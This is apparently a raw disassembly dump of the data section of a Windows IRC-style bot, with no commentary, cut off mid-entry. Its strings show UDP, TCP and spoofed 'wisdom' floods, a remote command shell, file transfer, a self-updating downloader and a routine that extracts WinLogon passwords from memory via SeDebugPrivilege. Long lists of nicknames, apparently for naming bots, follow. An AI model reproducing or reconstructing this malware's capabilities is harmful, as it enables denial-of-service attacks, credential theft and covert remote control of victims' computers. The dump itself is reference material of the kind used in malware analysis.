25206F74h, 73h, 234032Dh dd 2706475h, 65202D03h, 726F7272h, 6E657320h, 676E6964h dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h dd 3026E79h, 6F44202Dh, 7720656Eh, 20687469h, 6F6F6C66h dd 25282064h, 2F424B69h, 29636573h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aDoneWithFloodI db '- Done with flood (%iKB/sec).',0 align 4 dword_437AEC dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h ; DATA XREF: sub_4143F7+27Do dd 3C203A72h, 2E3E6425h, 0 dd 234032Dh, 67726174h, 3023361h, 6F44202Dh, 7720656Eh dd 20687469h, 6F6F6C66h, 2E64h, 234032Dh, 2706374h, 44202D03h dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch dd 2Eh, 234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h dd 65677261h, 50492074h, 2Eh, 234032Dh, 2706374h, 45202D03h dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h dd 3A64656Eh, 64253C20h, 2E3Eh, 234032Dh, 6E757374h, 2696D61h dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 53202D03h dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h dd 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 45202D03h dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 46202D03h dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 49202D03h dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh dd 2297064h, 45202D03h, 726F7272h, 6C616320h, 676E696Ch dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h dd 2E642520h, 0 db 2Dh ; - db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSo db '- Error calling socket().',0 align 4 db 2Dh ; - db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aDoneWithFloodP db 'Done with flood, ports hit: %s',0 align 4 aSD db '%s%d ',0 align 4 dword_437EDC dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_415CC0+35o dword_437EF0 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415CC0+10o a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415D38+60o align 4 dword_437F28 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h ; DATA XREF: sub_415DD8:loc_415E0Do dword_437F3C dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h ; DATA XREF: sub_415DD8+20o dword_437F50 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h ; DATA XREF: ___:00415F27o dd 6574656Ch, 0 dword_437F6C dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h ; DATA XREF: ___:00415E8Ao dd 676E6974h, 0 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSendTo db '- failed to send to Remote command shell',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenRe db '- failed to open remote command shell',0 align 4 unk_437FEC db 2Dh ; - ; DATA XREF: ___:004162BEo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenSo db '- failed to open socket',0 align 10h dword_438010 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: ___:00416523o ; ___:004166B9o dd 726F72h unk_438028 db 2Dh ; - ; DATA XREF: ___:004164BBo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0 align 4 unk_438054 db 2Dh ; - ; DATA XREF: ___:004163C3o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aUnableToOpenSo db '- unable to open socket',0 align 4 dword_438078 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h ; DATA XREF: ___:0041638Co dd 74756Fh dword_438090 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: ___:0041632Bo dd 169h unk_4380A8 db 2Dh ; - ; DATA XREF: ___:004162E8o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileDoesnTExis db '- file doesn',27h,'t exist',0 align 4 unk_4380C8 db 2Dh ; - ; DATA XREF: ___:00416243o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToBindTo db '- failed to bind to socket',0 unk_4380EC db 2Dh ; - ; DATA XREF: ___:00416205o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToCrea_2 db '- failed to create socket',0 align 10h unk_438110 db 2Dh ; - ; DATA XREF: ___:00416734o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceivedSFromS db '- received %s from %s (%s bytes).',0 align 4 unk_43813C db 2Dh ; - ; DATA XREF: ___:0041662Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningSo db '- error opening socket',0 unk_43815C db 2Dh ; - ; DATA XREF: ___:0041660Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningFi db '- error opening file for writing',0 align 4 aAB db 'a+b',0 ; DATA XREF: ___:004165FAo unk_43818C db 2Dh ; - ; DATA XREF: ___:004165E6o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorUnableToW db '- error unable to write file to disk',0 align 4 unk_4381BC db 2Dh ; - ; DATA XREF: ___:00416C33o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aBadUrlOrDnsErr db 'bad url or dns error at %s.',0 unk_4381E8 db 2Dh ; - ; DATA XREF: ___:00416C25o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aUpdateFailedEr db 'update failed, error executing %s',0 align 4 unk_43821C db 2Dh ; - ; DATA XREF: ___:00416B69o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0 align 10h dword_438260 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh ; DATA XREF: ___:00416AF8o dd 25206465h, 73h unk_43827C db 2Dh ; - ; DATA XREF: ___:00416A81o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0 align 4 unk_4382B4 db 2Dh ; - ; DATA XREF: ___:00416A02o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongCrcDD_ db 'wrong crc (%d != %d).',0 align 4 unk_4382DC db 2Dh ; - ; DATA XREF: ___:00416978o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongFilesizeD db 'wrong filesize (%d != %d).',0 align 4 unk_438308 db 2Dh ; - ; DATA XREF: ___:00416935o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aGotUpdateSDkb_ db 'got update %s (%dKB).',0 align 10h unk_438330 db 2Dh ; - ; DATA XREF: ___:00416923o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadedSDkb db 'downloaded %s (%dKB)',0 align 4 unk_438358 db 2Dh ; - ; DATA XREF: ___:00416817o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0 align 10h aUnknown db 'Unknown',0 ; DATA XREF: sub_416D48:loc_416D8Bo ; sub_419443+10Ao aInvalid db 'Invalid',0 ; DATA XREF: sub_416D48:loc_416D85o aDisk db 'Disk',0 ; DATA XREF: sub_416D48:loc_416D7Fo align 4 aNetwork db 'Network',0 ; DATA XREF: sub_416D48:loc_416D79o aCdrom db 'Cdrom',0 ; DATA XREF: sub_416D48:loc_416D73o align 4 off_4383A8 dd offset word_4D4152 ; DATA XREF: sub_416D48:loc_416D6Do word_4383AC dw 3Fh ; DATA XREF: sub_416D48+1Fo ; sub_41AF8F:loc_41B091r align 10h aFailed db 'failed',0 ; DATA XREF: sub_416DD9:loc_416EB7o ; sub_416EFD+3Bo align 4 aSkb db '%sKB',0 ; DATA XREF: sub_416DD9+6Co align 10h unk_4383C0 db 2Dh ; - ; DATA XREF: sub_416EFD+8Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0 align 4 unk_4383FC db 2Dh ; - ; DATA XREF: sub_416EFD+58o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0 off_438438 dd offset loc_5C3A40+1 ; DATA XREF: sub_416FCF:loc_417014o db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h db 66h ; f db 6Fh, 75h, 6Eh db 64h ; d db 20h, 25h, 64h db 20h aFiles db 'files',0 align 4 db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingFor_0 db 'searching for file %s',0 align 4 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h dd 73252064h, 73255Ch, 2A5C7325h, 0 unk_4384A8 db 2Dh ; - ; DATA XREF: sub_4172C1:loc_41743Ao db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToEnable db 'failed to enable debug privilege',0 align 4 unk_4384DC db 2Dh ; - ; DATA XREF: sub_4172C1:loc_41740Do db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindWi db 'unable to find winlogon pid',0 unk_438508 db 2Dh ; - ; DATA XREF: sub_4172C1:loc_417406o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindTh db 'unable to find the password in memory',0 align 10h unk_438540 db 2Dh ; - ; DATA XREF: sub_4172C1+117o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h db 57h ; W db 69h, 6Eh, 4Ch db 6Fh ; o db 67h, 6Fh, 6Eh db 20h db 49h, 6Eh, 66h db 6Fh ; o db 72h, 6Dh, 61h db 74h ; t db 69h, 6Fh, 6Eh db 20h db 28h, 50h, 49h db 44h ; D db 20h, 25h, 64h db 29h ; ) db 20h, 2Dh, 20h db 2 db 44h, 6Fh, 6Dh db 61h ; a db 69h, 6Eh, 2 db 3Ah ; : db 20h, 2 dup(5Ch) db 25h ; % db 53h, 2Ch, 20h db 2 db 55h, 73h, 65h db 72h ; r db 2, 3Ah, 20h aSNoPassword_ db '(%S/(no password)).',0 off_43859C dd offset byte_530055 ; DATA XREF: sub_4172C1+DCo dd offset byte_520045 dd offset dword_4F0044 dd offset loc_41004C+1 dd offset byte_4E0049 dd 0 off_4385B4 dd offset byte_530055 ; DATA XREF: sub_4172C1+CEo dd offset byte_520045 dd offset loc_41004C+2 dd offset byte_45004D align 8 aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_4172C1+9Ao align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+8Do align 10h aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_4172C1+80o aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+73o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_4172C1+68o align 4 aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_4172C1+55o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4172C1+40o ; sub_4172C1+161o ... align 4 unk_438678 db 2Dh ; - ; DATA XREF: sub_4172C1+35o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aOnlySupportedO db 'only supported on winnt/win2k',0 align 4 aMsgina db 'MSGINA',0 ; DATA XREF: sub_417493+13Eo align 10h aNwgina db 'NWGINA',0 ; DATA XREF: sub_417493+123o align 4 aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_417493+AFo align 4 dword_4386C4 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_4178F9+70o ; sub_417990+C7o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h dword_438714 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_417990+E1o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h dd 2929h off_438768 dd offset aQ ; DATA XREF: sub_417E84+5Cr ; "q" ; --------------------------------------------------------------------------- sbb [ebx-4E77FFBDh], dl inc edx add [eax+1C0042C6h], ah mov byte ptr [edx+0], 14h xchg eax, ebx inc ebx add al, dl scasd inc edx add [eax-3Ah], dh inc edx add [edi+ebp*4-4DE7FFBEh], ch inc edx add [eax-3Ah], bh inc edx add [eax], dl xchg eax, ebx inc ebx add [ebx+edx*4], cl inc ebx add [eax], cl xchg eax, ebx inc ebx add [ebx+edx*4], al inc ebx add [edi+esi*4+42h], bh add ah, ch retf 42h ; --------------------------------------------------------------------------- dd offset dword_439300 ; --------------------------------------------------------------------------- cld xchg eax, edx inc ebx add al, bh xchg eax, edx inc ebx add al, dh retf 42h ; --------------------------------------------------------------------------- dd offset aV ; "v" dd offset dword_4392F4 dd offset aN ; "n" dd offset aM ; "m" dd offset dword_4392F0 dd offset dword_4392EC dd offset dword_4392E8 dd offset dword_4392E4 dd offset dword_4392E0 dd offset word_4392DC dd offset dword_4392D8 dd offset aI_0 ; "I" dd offset dword_4392D4 dd offset dword_4392D0 dd offset aA_0 ; "A" dd offset dword_4392CC dd offset dword_4392C8 dd offset dword_4392C4 dd offset dword_4392C0 dd offset dword_4392BC dd offset dword_4392B8 dd offset dword_4392B4 dd offset dword_4392B0 dd offset dword_4392AC dd offset dword_4392A8 dd offset dword_4392A4 dd offset dword_4392A0 dd offset dword_43929C dd offset word_439298 dd offset aM_0 ; "M" dd offset aSmartmir ; "SMARTMIR" dd offset aFarooq ; "farooq" dd offset aMaxxguy ; "maxxguy" dd offset aBobmarley ; "BOBMARLEY" dd offset aEmilya ; "emilya" dd offset aKrizha ; "KRIZHA" dd offset aCar1nna ; "Car1nna" dd offset aSwin ; "swin" dd offset aMale ; "male" dd offset aKoko ; "koko" dd offset aFlexster ; "flexster" dd offset aKen ; "ken" dd offset aShez ; "Shez" dd offset aTalika ; "talika" dd offset aMarcy ; "marcy" dd offset aCme ; "cme" dd offset aHeval ; "heval" dd offset aBunty ; "bunty" dd offset aJanno ; "janno" dd offset aRimpy ; "rimpy" dd offset aNastysha ; "nastysha" dd offset aLuisa ; "Luisa" dd offset aTroller ; "troller" dd offset aManee ; "manee" dd offset aKermit ; "kermit" dd offset aPuregold ; "puregold" dd offset aCoredump ; "CoreDump" dd offset aImra ; "imra" dd offset aGirl ; "GirL" dd offset aCamel ; "CAMEL" dd offset aReshma ; "reshma" dd offset aKencing ; "Kencing" dd offset aThr45h3r5 ; "THR45H3R5" dd offset aCansuuuu ; "cansuuuu" dd offset aKaan38dent ; "kaan38dent" dd offset aErkan27 ; "erkan27" dd offset aHexaaa ; "hexaaa" dd offset aBerk19 ; "berk19" dd offset aObenibisevse ; "OBeNiBiSeVSe" dd offset aIrmal ; "irmal" dd offset aMisssunday ; "misssunday" dd offset aTolga34 ; "Tolga34" dd offset aJericho ; "JERICHO" dd offset aMary_0 ; "MARY" dd offset aAkin ; "AKIN" dd offset aMelekk ; "melekk" dd offset aTrend3 ; "trend3" dd offset aMERVE ; "M-E-R-V-E" dd offset aTekir ; "tekir" dd offset aVenedik34 ; "venedik34" dd offset aSevmekmi ; "sevmekmi" dd offset aSudenur ; "SUDENUR" dd offset aArzu ; "ARZU" dd offset aHaticem ; "haticem" dd offset aErnesto ; "ERNESTO" dd offset aAslii ; "aslii" dd offset aPiramit ; "PIRAMIT" dd offset aSamyeli21 ; "samyeli21" dd offset aRetg ; "RETG" dd offset aBlackpearl ; "blackpearl" dd offset aPelincik ; "pelincik" dd offset aAhmet ; "ahmet" dd offset aTurkyy ; "turkyy" dd offset aAnk32m ; "ank32m" dd offset aZack ; "ZACK" dd offset aIzmir39m ; "Izmir39m" dd offset aAlbina ; "albina" dd offset dword_439030 dd offset off_43902C dd offset aAnkh ; "ankh" dd offset aDonjuanm ; "Donjuanm" dd offset aBogac ; "bogac" dd offset aAlpay34m ; "alpay34m" dd offset aCongueror ; "CoNGuERoR" dd offset aDenizlim ; "DenizliM" dd offset aBerk19m ; "Berk19m" dd offset aDevran ; "devran" dd offset aArda ; "arda" dd offset aKeyiflisert ; "keyifliSERT" dd offset aMurat34M ; "murat34-m" dd offset aHakan3 ; "hakan3" dd offset aImirzali ; "IMIRZALI--" dd offset aRamtha ; "RAMTHA" dd offset aEmre ; "Emre--" dd offset aElmaazyok ; "elmaazyok" dd offset aEsmerkiz ; "Esmerkiz" dd offset aKebikec ; "kebikec" dd offset aFlord ; "FLoRD" dd offset aHoly ; "holy" dd offset aMahinur ; "MAHINUR" dd offset aSadikaellesme ; "SaDIkaEllesme" dd offset aAykut1 ; "aykut1" dd offset aKashmira ; "Kashmira" dd offset aSeviseli ; "SeViSeLi" dd offset aSugarboy ; "SUGARBOY-" dd offset aUzgun36 ; "uzgun36" dd offset aKumul ; "kumul" dd offset aAdalim ; "ADALIM" dd offset aUmut ; "umut-" dd offset aAnk32M ; "ANK-32-M" dd offset aDjspace ; "DJSPACE" dd offset aAnkar ; "Ankar" dd offset aFenerlee ; "FeNeRLee" dd offset aHayran ; "hayran" dd offset aAngelgirl ; "angelgirl" dd offset aKapk ; "kapk" dd offset aAchilles ; "Achilles" dd offset aTegmen ; "TEGMEN" dd offset aKotan ; "kotan" dd offset aSevda ; "sevda" dd offset off_438E98 dd offset aAlcatras ; "alcatras" dd offset aA44m ; "a44m" dd offset aBirsen ; "birsen" dd offset aYabanc ; "yabanc" dd offset aDevre ; "devre" dd offset aErkan ; "erkan" dd offset aAnkm ; "ankM" dd offset aAdem28 ; "Adem28" dd offset aMaxsilla ; "maxsilla" dd offset aM41ist ; "M41IST" dd offset aAdamm33 ; "AdAMM33" dd offset aFirtina ; "firtina" dd offset aAta29 ; "Ata29" dd offset aKoray ; "KORAY" dd offset aAkden ; "akden" dd offset aIzmirlm ; "izmirlm" dd offset aUla ; "ula" dd offset aNeHaber ; "NE-HABER" dd offset aPassenger ; "passenger" dd offset aTropikal ; "tropikal" dd offset aCool30m ; "cool30m" dd offset aCem39 ; "cem39" dd offset aRerpjj ; "RERPJJ" dd offset aTeoman ; "TEOMAN```" dd offset aDallas43m ; "DALLAS43M" dd offset aPrometheus ; "prometheus" dd offset aMaveRIck ; "MaVe{R}icK" dd offset aAdamm ; "ADAMM" dd offset aCumhur29 ; "cumhur29" dd offset aWantedlove ; "WANTEDLOVE" off_438A68 dd offset aSex ; DATA XREF: sub_417E84+41r ; sub_417E84+ECr ; "sex" dd offset aLez ; "lez" dd offset aZex ; "zex" dd offset aTree ; "tree" dd offset aBad ; "bad" ; --------------------------------------------------------------------------- push 6000438Dh lea eax, [ebx+0] pop eax lea eax, [ebx+0] push eax lea eax, [ebx+0] dec eax lea eax, [ebx+0] inc eax lea eax, [ebx+0] cmp [ebp-72CFFFBDh], cl inc ebx add [eax], ch lea eax, [ebx+0] sbb al, 8Dh inc ebx add ds:8D0C0043h[ecx*4], dl inc ebx add [eax], cl lea eax, [ebx+0] add [ebp-6D0BFFBDh], cl inc ebx add al, dh retf 42h ; --------------------------------------------------------------------------- db 10h db 93h ; “ db 43h ; C db 0 db 88h ; ˆ db 0B1h ; ± db 42h ; B db 0 db 0Ch db 93h ; “ db 43h ; C db 0 db 8 db 93h ; “ db 43h ; C db 0 db 4 db 93h ; “ db 43h ; C db 0 db 70h ; p db 0C6h ; Æ db 42h ; B db 0 db 34h ; 4 db 0B9h ; ¹ db 42h ; B db 0 db 7Ch ; | db 0B7h ; · db 42h ; B db 0 db 0ECh ; ì db 0CAh ; Ê db 42h ; B db 0 dd offset dword_439300 dd offset aM ; "m" dd offset aN ; "n" dd offset aO ; "o" dd offset aP ; "p" dd offset aQ ; "q" dd offset aRs ; "rs" dd offset aT ; "t" dd offset aU ; "u" dd offset aV ; "v" dd offset dword_439318 dd offset dword_4392F8 dd offset dword_439314 dd offset dword_4392FC dd offset aHappy ; "happy" dd offset aRg ; "rg" dd offset aTy ; "ty" dd offset aGf ; "gf" dd offset aRt ; "rt" dd offset aSdf ; "sdf" dd offset aUi ; "ui" dd offset aLuvy ; "luvy" dd offset aTrimy ; "trimy" dd offset aTruck ; "truck" dd offset aMuckc ; "muckc" dd offset dword_4392FC dd offset dword_439308 dd offset aS_0 ; "s" dd offset aQ ; "q" dd offset off_438CB8 dd offset aBbl ; "|bbl" dd offset byte_43DB88 dd offset byte_43DB88 dd offset a___0 ; "_|_" dd offset byte_43DB88 dd offset byte_43DB88 dd offset byte_43DB88 dd offset byte_43DB88 dd offset dword_4392C4 dd offset aM_0 ; "M" dd offset aLuvu ; "LUVU" dd offset aSad ; "Sad" dd offset aF_2 ; "^^^f^" dd offset dword_4392F4 dd offset byte_43DB88 dd offset aSleeping ; "Sleeping" dd offset byte_43DB88 dd offset byte_43DB88 dd offset aFuck_0 ; "Fuck" dd offset aFree ; "Free" dd offset byte_43DB88 dd offset byte_43DB88 dd offset dword_4392A8 dd offset byte_43DB88 dd offset off_438C78 dd offset aGirl_0 ; "GIRL" dd offset aGurl ; "gurl" dd offset aShit ; "shit" dd offset aAha ; "aha" dd offset aYeah ; "yeah" dd offset aMuha ; "muha" dd offset aMof0 ; "mof0" dd offset aMofo ; "mofo" dd offset dword_438C38 dd offset dword_438C34 dd offset dword_438C2C dd offset dword_438C20 dd offset dword_438C18 dd offset dword_438C10 dd offset dword_438C08 dd offset dword_438C04 dd offset dword_438C00 dword_438C00 dd 7536h ; DATA XREF: ___:00438BFCo dword_438C04 dd 7535h ; DATA XREF: ___:00438BF8o dword_438C08 dd 7C75347Ch, 0 ; DATA XREF: ___:00438BF4o dword_438C10 dd 6F79347Bh, 7D75h ; DATA XREF: ___:00438BF0o dword_438C18 dd 7375347Ch, 7Ch ; DATA XREF: ___:00438BECo dword_438C20 dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438BE8o dword_438C2C dd 6F6C6F6Ch, 7C617Ch ; DATA XREF: ___:00438BE4o dword_438C34 dd 6C6F6Ch ; DATA XREF: ___:00438BE0o dword_438C38 dd 746F74h ; DATA XREF: ___:00438BDCo aMofo db 'mofo',0 ; DATA XREF: ___:00438BD8o align 4 aMof0 db 'mof0',0 ; DATA XREF: ___:00438BD4o align 4 aMuha db 'muha',0 ; DATA XREF: ___:00438BD0o align 4 aYeah db 'yeah',0 ; DATA XREF: ___:00438BCCo align 4 aAha db 'aha',0 ; DATA XREF: ___:00438BC8o aShit db 'shit',0 ; DATA XREF: ___:00438BC4o align 4 aGurl db 'gurl',0 ; DATA XREF: ___:00438BC0o align 10h aGirl_0 db 'GIRL',0 ; DATA XREF: ___:00438BBCo align 4 off_438C78 dd offset sub_594F42 ; DATA XREF: ___:00438BB8o aFree db 'Free',0 ; DATA XREF: ___:00438BA4o align 4 aFuck_0 db 'Fuck',0 ; DATA XREF: ___:00438BA0o align 4 aSleeping db 'Sleeping',0 ; DATA XREF: ___:00438B94o align 4 aF_2 db '^^^f^',0 ; DATA XREF: ___:00438B88o align 10h aSad db 'Sad',0 ; DATA XREF: ___:00438B84o aLuvu db 'LUVU',0 ; DATA XREF: ___:00438B80o align 4 a___0 db '_|_',0 ; DATA XREF: ___:00438B64o aBbl db '|bbl',0 ; DATA XREF: ___:00438B58o align 4 off_438CB8 dd offset loc_425240+2 ; DATA XREF: ___:00438B54o aMuckc db 'muckc',0 ; DATA XREF: ___:00438B40o align 4 aTruck db 'truck',0 ; DATA XREF: ___:00438B3Co align 4 aTrimy db 'trimy',0 ; DATA XREF: ___:00438B38o align 4 aLuvy db 'luvy',0 ; DATA XREF: ___:00438B34o align 4 aUi db 'ui',0 ; DATA XREF: ___:00438B30o align 10h aSdf db 'sdf',0 ; DATA XREF: ___:00438B2Co aRt db 'rt',0 ; DATA XREF: ___:00438B28o align 4 aGf db 'gf',0 ; DATA XREF: ___:00438B24o align 4 aTy db 'ty',0 ; DATA XREF: ___:00438B20o align 10h aRg db 'rg',0 ; DATA XREF: ___:00438B1Co align 4 aHappy db 'happy',0 ; DATA XREF: ___:00438B18o align 4 aRs db 'rs',0 ; DATA XREF: ___:00438AF8o align 10h aQ8A db '|q8|a',0 align 4 aQ8 db 'Q8',0 align 4 aSick db 'sick}}',0 align 4 aWiked db '|wiked|',0 aLuvuF db '||luvu-f|',0 align 4 aGens db '{gens|',0 align 10h aSex_0 db '{sex}',0 align 4 aHub db '{hub}',0 align 10h aLuck db '|luck|',0 align 4 aSuck db '|suck|',0 align 10h aTot db '-|tot|',0 align 4 aWoh db '|woh|',0 align 10h aTambe db '|tambe|',0 aLag db 'lag',0 aBad db 'bad',0 ; DATA XREF: ___:00438A78o aTree db 'tree',0 ; DATA XREF: ___:00438A74o align 4 aZex db 'zex',0 ; DATA XREF: ___:00438A70o aLez db 'lez',0 ; DATA XREF: ___:00438A6Co aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: ___:00438A64o align 4 aCumhur29 db 'cumhur29',0 ; DATA XREF: ___:00438A60o align 4 aAdamm db 'ADAMM',0 ; DATA XREF: ___:00438A5Co align 10h aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: ___:00438A58o align 4 aPrometheus db 'prometheus',0 ; DATA XREF: ___:00438A54o align 4 aDallas43m db 'DALLAS43M',0 ; DATA XREF: ___:00438A50o align 4 aTeoman db 'TEOMAN```',0 ; DATA XREF: ___:00438A4Co align 10h aRerpjj db 